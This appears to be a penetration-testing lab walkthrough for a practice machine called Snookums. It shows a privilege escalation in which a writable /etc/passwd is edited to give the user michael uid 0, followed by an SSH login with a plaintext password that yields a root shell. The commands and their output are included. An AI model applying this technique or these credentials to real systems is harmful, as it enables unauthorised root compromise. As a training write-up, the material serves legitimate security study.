Snookums_Privilege_Escalation

/etc/passwd

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As discovered previously, the /etc/passwd file is OWNED by the michael user

[michael@snookums ~]$ vi /etc/passwd

[michael@snookums ~]$ cat /etc/passwd | grep -i michael
michael:x:0:0:Michael:/home/michael:/bin/bash

Giving the michael user uid=0, essentially turning him into the root account

[michael@snookums ~]$ exit
logout
Connection to 192.168.132.58 closed.

Refreshing the session

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/snookums]
└─$ sshpass -p HockSydneyCertify123 ssh michael@$IP
[root@snookums ~]# whoami
root
[root@snookums ~]# hostname
snookums
[root@snookums ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:ba:d9 brd ff:ff:ff:ff:ff:ff
    inet 192.168.132.58/24 brd 192.168.132.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise